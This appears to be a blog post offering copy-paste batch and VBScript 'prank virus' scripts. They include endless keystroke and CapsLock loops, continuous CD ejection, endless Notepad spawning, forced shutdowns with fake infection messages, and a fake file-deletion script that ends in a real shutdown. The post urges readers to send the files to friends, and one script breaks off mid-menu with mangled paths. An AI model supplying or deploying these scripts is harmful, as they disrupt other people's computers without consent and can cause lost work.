Simple Harmless virus coding


SIMPLE HARMLESS VIRUS CODING

Matrix Effect
Copy the given code below and paste into the notepad and the save the file as simple.bat. Then run the bat file.
@echo off
color 02
:kani
echo %random%%random%%random%%random%%random%%random%%random%%random%
goto kani
This is the result you can see.
Keyboard Virus:
This is a simple visual basic script trick can make keyboard type any message continously. Open Notepad, copy the given code below and save the file as keyboard.vbs or yourname.vbs. 
Note: You will need to restart your computer to stop this. Send this file to your friend and make fun. 
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Your Message. Virus Affected"
loop

Continuously Eject CD/DVD drives:
This is also a simple vbs strick to continuously eject all your connected optical drivers. If you put them back, it will eject continuously. Restart the computer to stop this.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Track the System Log:
You can use this trick to create a log with notepad it automatically include the current date and time. Open notepad and type ".LOG" in capital letters. Save the file. Now, every time you open the file notepad will automatically insert the date and time in note.
You can use this to note who logged into your computer. Run this file on windows startup to log the date and time. set this file in windows startup using "msconfig". Open run and type "msconfig" and in startup tab set this file also at startup. 
To close the vbs trick virus, open task manager and close the wscript.exe process. 
Open prompt continuously:
For this open the Notepad and copy the below code and paste it and save the file as sample.bat or yourname.bat. 
Start
Start
Start
Start

Shutdown the System:
For shutdown the system with the your message. Copy the below code and paste it in Notepad and save as sample.bat or yourname.bat
@echo off
msg * You System affected by virus
shutdown -c "Error! Going to shutdown!" -s

Toggle CapsLock Simultaneously:
This is a vbs trick. Toggle the capslock button simultaneously. Copy the below code and paste it in Notepad and save as sample.vbs or yourname.vbs
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Hit Enter Simultaneously:
This is also a vbs trick which make to hit the enter simultaneously. Copy the below code and paste it in Notepad and save as sample.vbs or yourname.vbs
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Open Notepad continuously:
To open the notepad continuously in your friends computer. Copy the below code and paste it in Notepad and save as sample.bat or yourname.bat.
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Ask What would do:
This virus can ask to your friends to what can do now. Copy the below code and paste it in Notepad and save as sample.bat or yourname.bat.
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Fake like Harmful virus:
You can fake your friends by giving this virus coding. It actually looks like a real virus. Copy the below code and paste it in Notepad and save as sample.bat or yourname.bat.
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 5000>C:sleep5000.vbs
echo Wscript.Sleep 3000>C:sleep3000.vbs
echo Wscript.Sleep 4000>C:sleep4000.vbs
echo Wscript.Sleep 2000>C:sleep2000.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep3000.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:sleep3000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:sleep3000.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep2000.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:sleep2000.vbs
echo Killing all processes…
start /w wscript.exe C:sleep2000.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:sleep2000.vbs
pause
shutdown -s -t 10 -c “Unrecoverable error occured. System affected by virus going to shutdown.”

No comments:

Post a Comment